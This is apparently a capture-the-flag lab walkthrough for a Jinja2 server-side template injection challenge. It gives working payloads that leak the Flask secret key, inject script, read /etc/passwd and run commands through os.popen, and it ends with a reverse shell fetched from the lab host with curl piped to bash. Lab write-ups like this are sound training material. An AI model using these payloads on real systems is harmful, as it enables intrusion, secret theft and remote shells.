Skip to content
ImmersiveLabs1 min read

IML - Halloween 2020: Ep.5 – JinjaBread Man (SSTI)

Halloween 2020 Ep.5 – JinjaBread - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



IML - Halloween 2020: Ep.5 – JinjaBread Man (SSTI)#

This lab is exploiting a Server Side Template Injection (SSTI) vulnerability in Jinja

  • Port 80 is open and we have a /admin directory:

image1

  • The actual page seems static apart from the search box:

image2

image3

and it gets executed (only what's in the {{ }} field):

image4

  • By injecting
text
{{config.items()}}

we can get the secret_key

image5

  • We can also get XSS by using the safe command:

image6

text
{{'<script>alert(1);</script>'|safe}}

image7

<u>The actual SSTI:</u>

  • First we need to find the index of _io._IOBase (the index changes by environment):
text
{{'abc'.__class__.__base__.__subclasses__()}}

image8

  • Now we can call it to test - by appending the index [92]:
text
{{'abc'.__class__.__base__.__subclasses__()[92]}}

image9

  • We then call the _io._RawIOBase class by adding .subclasses()[0]:
text
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0]}}

image10

  • We then call the _io.FileIO class by adding another .subclasses()[0]:
text
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]}}

image11

  • Finally, we can use this class to construct a file object and read our file:
text
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}

image12

<u>SSTI RCE:</u>

This RCE happens because Flask/Jinja2 templates have the request object available to them

  • By using the following payload, we are basically doing import os and os.popen('id'):
text
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

image13

  • Create a bash script (rev.sh):
bash
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.102.4.249/4444 0>&1"
  • Set up a simple python server in the same directory

  • Set up a nc listener

  • Run the following in the search box:

text
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.102.4.249:8000/rev.sh | bash').read()}}
  • And we have a shell back:

image14

image15